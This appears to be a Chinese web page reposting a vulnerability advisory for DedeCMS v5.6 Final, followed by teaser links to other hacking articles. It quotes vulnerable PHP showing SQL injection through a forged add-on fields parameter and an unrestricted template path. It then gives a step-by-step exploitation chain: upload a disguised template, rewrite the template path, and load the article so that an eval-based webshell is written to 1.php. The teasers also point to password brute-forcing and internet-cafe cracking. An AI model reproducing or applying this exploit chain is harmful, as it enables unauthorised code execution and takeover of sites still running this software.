dedecms是什么?dedecms v5.6 final版本有哪些漏洞?
影响版本:
DEDECMS v5.6 Final
程序介绍:
DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场,目前已经有超过二十万个站点正在使用DedeCms或居于DedeCms核心,是目前国内应用最广泛的php类CMS系统。
漏洞分析:
Dedecms V5.6 Final版本中的各个文件存在一系列问题,经过精心构造的含有恶意代表的模板内容可以通过用户后台的上传附件的功能上传上去,然后通过SQL注入修改附加表的模板路径为我们上传的模板路径,模板解析类:include/inc_archives_view.php没有对模板路径及名称做任何限制,则可以成功执行恶意代码。
1、member/article_edit.php文件(注入):
//漏洞在member文件夹下普遍存在,$dede_addonfields是由用户提交的,可以被伪造,伪造成功即可带入sql语句,于是我们可以给附加表的内容进行update赋值。
PHP Code复制内容到剪贴板
… //分析处理附加表数据 $inadd_f=''; if(!emptyempty($dede_addonfields))//自己构造$dede_addonfields { $addonfields=explode(';',$dede_addonfields); if(is_array($addonfields)) { print_r($addonfields); foreach($addonfieldsas$v) { if($v=='') { continue; } $vs=explode(',',$v); if(!isset(${$vs[0]})) { ${$vs[0]}=''; } ${$vs[0]}=GetFieldValueA(${$vs[0]},$vs[1],$aid); $inadd_f.=','.$vs[0]."='".${$vs[0]}."'"; echo$inadd_f; } } } … if($addtable!='') { $upQuery="Update`$addtable`settypeid='$typeid',body='$body'{$inadd_f},userip='$userip'whereaid='$aid'";//执行构造的sql if(!$dsql->ExecuteNoneQuery($upQuery)) { ShowMsg("更新附加表`$addtable`时出错,请联系管理员!","javascript:;"); exit(); } } …
2、include/inc_archives_view.php:
//这是模板处理类,如果附加表的模板路径存在,直接从附加表取值;GetTempletFile获取模板文件的方法就是取的此处的模板路径,从来带进去解析。
PHP Code复制内容到剪贴板
… //issystem==-1表示单表模型,单表模型不支持redirecturl这类参数,因此限定内容普通模型才进行下面查询 if($this->ChannelUnit->ChannelInfos['addtable']!=''&&$this->ChannelUnit->ChannelInfos['issystem']!=-1) { if(is_array($this->addTableRow)) { $this->Fields['redirecturl']=$this->addTableRow['redirecturl']; $this->Fields['templet']=$this->addTableRow['templet'];//取值 $this->Fields['userip']=$this->addTableRow['userip']; } $this->Fields['templet']=(emptyempty($this->Fields['templet'])?'':trim($this->Fields['templet'])); $this->Fields['redirecturl']=(emptyempty($this->Fields['redirecturl'])?'':trim($this->Fields['redirecturl'])); $this->Fields['userip']=(emptyempty($this->Fields['userip'])?'':trim($this->Fields['userip'])); } else { $this->Fields['templet']=$this->Fields['redirecturl']=''; } … //获得模板文件位置 functionGetTempletFile() { global$cfg_basedir,$cfg_templets_dir,$cfg_df_style; $cid=$this->ChannelUnit->ChannelInfos['nid']; if(!emptyempty($this->Fields['templet'])) { $filetag=MfTemplet($this->Fields['templet']); if(!ereg('/',$filetag))$filetag=$GLOBALS['cfg_df_style'].'/'.$filetag; } else { $filetag=MfTemplet($this->TypeLink->TypeInfos["temparticle"]); } $tid=$this->Fields['typeid']; $filetag=str_replace('{cid}',$cid,$filetag); $filetag=str_replace('{tid}',$tid,$filetag); $tmpfile=$cfg_basedir.$cfg_templets_dir.'/'.$filetag; if($cid=='spec') { if(!emptyempty($this->Fields['templet'])) { $tmpfile=$cfg_basedir.$cfg_templets_dir.'/'.$filetag; } else { $tmpfile=$cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm"; } } if(!file_exists($tmpfile)) { $tmpfile=$cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/".($cid=='spec'?'article_spec.htm':'article_default.htm'); } return$tmpfile; }
漏洞利用:
1.上传一个模板文件:
注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:
uploads/userup/2/12OMX04-15A.jpg
模板内容是(如果限制图片格式,加gif89a):
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_post[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
2.修改刚刚发表的文章,查看源文件,构造一个表单:
XML/HTML Code复制内容到剪贴板
提交,提示修改成功,则我们已经成功修改模板路径。
3.访问修改的文章:
假设刚刚修改的文章的aid为2,则我们只需要访问:
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成小马:1.php
解决方案:
厂商补丁:
DEDECMS
------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.dedecms.com/
信息来源: oldjun's Blog
验证码无法显示怎么办?验证码无法显示的解决方法
晚上检测一个站的时候,猜解出了密码,扫出了后台,可验证码就是无法显示,难道管理员故意弄的?不太可能吧?于是上网一搜,没想到还真找到了解决的方法。我的是Vista Ultimate,部分XP SP2也会有这个问题。好
详情2018-01-02 16:13:09责编:llp 来源:驱动管家黑客入侵有哪些方法?黑客入侵的手段
1 1433端口入侵 scanport exe 查有1433的机器 SQLScanPass exe 进行字典暴破(字典是关键)
详情2018-01-06 16:07:26责编:llp 来源:驱动管家勒索软件补丁:安装android7.0 nougat
有一天打开电脑,发现电脑已经被锁住,窗口弹出说明:如果你不给钱,就把你的电脑清空,这就是遇到了勒索软件。近年来,这种勒索已经频频出现在安卓手机上,手机里的重要资料可能比电脑里还多,这时候怎么办,真
详情2018-01-04 09:11:33责编:llp 来源:驱动管家网吧破解怎么做?怎么破解网吧?
解万象秘笈 一 用Alt Ctrl Del组合键(万象) 开机后,当出现蓝背景时,立即按组合键,弹出“关闭程序”对话框,若里面有“client”后则立即关闭,当发现“未知”程序时也要关闭,因为万象会启动两次。万象被结束了,
详情2018-01-05 09:14:06责编:llp 来源:驱动管家cc攻击是什么?怎么防cc攻击网站?
CC攻击(Challenge Collapsar)是DDOS(分布式拒绝服务)的一种,也是一种常见的网站攻击方法,攻击者通过代理服务器或者肉鸡向向受害主机不停地发大量数据包,造成对方服务器资源耗尽,一直到宕机崩溃。CC攻击
详情2018-01-13 14:51:33责编:llp 来源:驱动管家科迅会员上传webshell漏洞?文件webshell漏洞怎么修复?
会员上传文件漏洞,可以上传任意后缀user swfupload asp文件漏洞复制代码代码如下:If UpFileObj Form( "NoReName ")= "1 " Then & 39;不更名Dim PhysicalPath,FsoObj:Set FsoObj = KS InitialObject(KS Settin
详情2018-01-11 14:54:27责编:llp 来源:驱动管家samb的密码认证方式 为什么samb认证会泄露密码?
下面是SMB的密码认证方式。 WINDOWS的139口的访问过程,箭头表示数据方向: 1 客户端
详情2018-01-06 16:20:14责编:llp 来源:驱动管家php文件包含哪些漏洞?php包含漏洞替代技术
php包含漏洞替代技术================php开发者们犯得一个基本的错误是把一个不正当的变量传递给系统函数,特别是include()和require()这两个函数。这个常见的错误导致了众所周知的远程文件包含漏洞和本地文件包
详情2018-01-11 10:16:30责编:llp 来源:驱动管家手机停机也可以上网?手机免费上网攻略
手机停机一样可以无限量免费上网现在向大家透露一个如何激活已停机卡的方法!?激活了以后就可以免费上网了。注:《本人动感地带的卡已测,通过》!首先,准备一张已经欠费停机的卡。注意重点:《1、需要知道卡的
详情2018-01-09 15:11:13责编:llp 来源:驱动管家web服务器的漏洞 web服务器的保护
Web安全分为两大类:· Web服务器的安全性(Web服务器本身安全和软件配置)。· Web应用程序的安全性(在Web服务器上运行的Java、 ActiveX、PHP、ASP代码的安全)。Web服务器面临的攻击Web服务器攻击利用Web服务器
详情2018-01-08 19:52:37责编:llp 来源:驱动管家
- 不小心删除重要文件该怎么恢复数据?推荐好用的数据恢复工具
- camtasia studio录屏时点击没反应是怎么回事?camtasia录屏
- ide接口好不好?关于ide接口的详细介绍
- 主板温度多少是正常的?关于电脑主板温度的一些介绍
- win7系统怎么将蓝牙加密狗连接到电脑上
- xp系统修复任务栏错误应该怎么去操作呢
- 小米手机充电充不进去的原因是什么?怎么解决?
- 红米2什么时候上市?红米2支持4G吗?
- 电脑老是自动重启是怎么回事?电脑自动重启的常见原因
- 宽带连接错误是什么原因?宽带连接错误怎么解决?
- 如何进行qq密保设置?qq密保令牌不能使用怎么办?
- 织梦教程:修复dedecms v5.5跨站漏洞的方法
- 笔记本无线网络开关在哪儿?笔记本无线网络开关怎么打开?
- 钉钉电脑版字体大小设置在哪儿?怎样调整钉钉电脑版字体?
- ups电源平常容易发生的故障有哪些?怎么排查ups电源故障
- 无线鼠标没反应的原因是什么?如何解决
- 在mac系统下如何给文件夹加密?具体的方法看这里
- 制作iso镜像文件:linux系统下iso镜像文件制作方法
- 小米4配置是什么样的?小米4配置的相关数据
- 红米note怎么样?红米note会泄露个人隐私,这是怎么回事?